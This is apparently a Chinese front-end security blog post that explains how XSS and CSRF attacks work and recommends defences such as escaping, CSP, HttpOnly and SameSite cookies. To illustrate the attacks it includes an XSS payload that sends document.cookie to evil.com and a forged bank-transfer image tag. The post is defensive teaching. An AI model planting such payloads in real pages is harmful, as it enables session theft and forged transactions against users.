返回首页

前端 Web 安全:XSS 与 CSRF 的攻击原理与防御

XSS 是"别人的脚本在你的页面上跑",CSRF 是"借你的登录态偷偷办事"。这篇把两类最经典的前端安全问题讲清楚:它们怎么打进来、为什么有效,以及一套能落地的防御组合拳。

39 约 5 分钟 · 4187 字 前端

前端安全里,XSS 和 CSRF 是绕不开的两座大山。它们的名字很像,但本质完全不同:

  • XSS(跨站脚本):攻击者让自己的脚本在受害者的页面里执行
  • CSRF(跨站请求伪造):攻击者借用受害者已登录的身份,偷偷发出请求

一句话区分:XSS 是"代码注入",CSRF 是"身份盗用"。下面分别拆开。

XSS:让别人的脚本在你的页面上跑

XSS 的核心是:用户输入被当成代码执行了

设想一个评论功能,前端直接把评论内容塞进页面:

commentBox.innerHTML = userInput

如果有人提交的评论是:

<img src="x" onerror="fetch('https://evil.com?c=' + document.cookie)">

这段内容被 innerHTML 渲染后,onerror 就会执行,受害者的 Cookie 被发到攻击者的服务器。这就是一次 XSS。

XSS 的三种类型

1. 存储型 XSS

恶意脚本被存进了数据库(比如评论、昵称、文章内容),之后每个浏览到这条数据的用户都会中招。危害最大,因为它会持续影响所有访客。

2. 反射型 XSS

恶意脚本藏在 URL 参数里,服务器把参数原样拼进页面返回。比如搜索页:

https://example.com/search?q=<script>...</script>

如果页面直接把 q 的值显示出来,脚本就执行了。这类攻击通常需要诱导用户点一个精心构造的链接。

3. DOM 型 XSS

不经过服务器,纯前端的锅。比如直接拿 location.hashinnerHTML 里塞:

document.getElementById('out').innerHTML = location.hash.slice(1)

攻击者构造带脚本的 hash,前端就把它渲染执行了。

XSS 怎么防

防御 XSS 的核心原则只有一句:不要相信任何用户输入,输出时按场景做转义或隔离。

1. 输出转义(最基础也最重要)

把用户输入当文本而不是 HTML。现代框架默认就帮你做了这件事:

<!-- Vue:{{ }} 默认转义,<script> 会被当成普通字符串显示 -->
<p>{{ userInput }}</p>

React 的 {userInput}、Vue 的 {{ userInput }} 都会自动转义。真正危险的是手动绕过转义的 API:

// 危险:直接当 HTML 渲染
element.innerHTML = userInput

// Vue 里的 v-html、React 里的 dangerouslySetInnerHTML 同理

能不用 innerHTML / v-html 就不用。

2. 富文本必须过滤,而不是只转义

评论、文章这类确实需要保留部分 HTML 的场景,不能简单转义(那样标签就全没了),要用成熟的库做白名单过滤,只保留安全标签、剥掉 <script>onerrorjavascript: 这类危险内容。自己写正则过滤几乎一定有漏洞。

3. CSP(内容安全策略)

CSP 是一道服务端设置的响应头,能限制页面只允许加载/执行哪些来源的脚本:

Content-Security-Policy: default-src 'self'; script-src 'self'

这条策略下,内联脚本和外部域的脚本都不被执行。即使攻击者注入了 <script>,浏览器也会拦下来。CSP 是一道很强的兜底防线。

4. Cookie 加 HttpOnly

给敏感 Cookie(尤其是登录态)加上 HttpOnly,JavaScript 就读不到它了:

Set-Cookie: token=xxx; HttpOnly; Secure

这样即使发生了 XSS,document.cookie 也偷不到登录凭证,大幅降低危害。这个博客的 JWT 登录态就是放在 HttpOnly Cookie 里的。

CSRF:借你的登录态办事

CSRF 的精妙之处在于:攻击者不需要拿到你的密码或 Cookie,只要借用浏览器"自动带 Cookie"的行为。

攻击是怎么成立的

关键前提:浏览器在向某个域名发请求时,会自动带上该域名下的 Cookie,不管这个请求是从哪个页面发起的。

设想你刚登录了银行网站 bank.com,登录态在 Cookie 里。这时你被诱导访问了一个恶意页面,页面里藏着:

<img src="https://bank.com/transfer?to=hacker&amount=10000">

浏览器加载这个 <img> 时,会向 bank.com 发请求,并自动带上你在 bank.com 的登录 Cookie。服务器一看 Cookie 有效,就以为是你本人操作,转账成功。

整个过程你毫不知情,这就是 CSRF。它利用的是"服务器只认 Cookie,无法分辨请求到底是不是用户主动发起的"。

CSRF 怎么防

防御思路是:让服务器能分辨"这个请求是不是从我自己的页面发出来的"。

1. SameSite Cookie(现代浏览器的主力防线)

给 Cookie 设置 SameSite 属性,限制它在跨站请求里不被自动带上:

Set-Cookie: token=xxx; SameSite=Lax; HttpOnly; Secure
  • SameSite=Strict:完全禁止跨站携带,最严格
  • SameSite=Lax:大多数跨站请求不带,但顶层导航的 GET 会带(平衡了安全和体验,现在多数浏览器的默认值)
  • SameSite=None:不限制(必须配合 Secure)

设了 LaxStrict 后,上面那个 <img> 发出的跨站请求就不会带 Cookie,CSRF 直接失效。这是目前性价比最高的防御。

2. CSRF Token

服务器在渲染页面时下发一个随机 token,前端在每次提交时把它带回来(放在请求头或请求体里):

fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': csrfToken },
  body: JSON.stringify(data),
})

攻击者的页面拿不到这个 token(它存在你的页面里,跨域读不到),所以伪造的请求会因为缺 token 被服务器拒绝。

3. 校验来源

服务器可以检查请求的 Origin / Referer 头,判断请求是否来自本站。这是一道辅助防线,但 Referer 可能被某些场景去掉,不能单独依赖。

4. 敏感操作用 POST,别用 GET

转账、删除这类有副作用的操作绝不能用 GET。<img><a> 这类标签能轻易发起跨站 GET,但发起带自定义头的 POST 要难得多。这本身就是一道门槛。

XSS 和 CSRF 的关系

两者经常被一起讨论,但要记住一个残酷的事实:如果存在 XSS,大多数 CSRF 防御都会失效。

因为有了 XSS,攻击者的脚本就在你的页面里运行,它能读到 CSRF Token、能发出带正确头的请求。SameSite 也防不住"同站内发起"的恶意脚本。

所以优先级是:先把 XSS 堵死,再谈 CSRF。XSS 是更底层、更致命的漏洞。

一套可落地的防御清单

把上面的措施整理成一份能直接对照的清单:

  • 框架默认转义,慎用 innerHTML / v-html / dangerouslySetInnerHTML
  • 富文本用成熟库做白名单过滤,不要手写正则
  • 配置 CSP 响应头作为兜底
  • 登录态 Cookie 加 HttpOnly + Secure + SameSite=Lax
  • 敏感接口用 POST,配合 CSRF Token
  • 服务端校验 Origin / Referer 作为辅助
  • 永远不信任用户输入,服务端也要做校验(前端校验只是体验,不是安全边界)

总结

  • XSS 的本质是用户输入被当成代码执行,防御靠输出转义、富文本白名单过滤、CSP、HttpOnly Cookie
  • CSRF 的本质是借用自动携带的 Cookie 伪造请求,防御靠 SameSite Cookie、CSRF Token、来源校验
  • XSS 比 CSRF 更致命,有 XSS 在,CSRF 防御基本作废,要优先解决
  • 最关键的一条心法:永远不要相信来自客户端的任何输入,转义、过滤、校验一个都不能少

安全没有银弹,靠的是这些措施叠加成的纵深防御。少做一层,攻击面就大一分。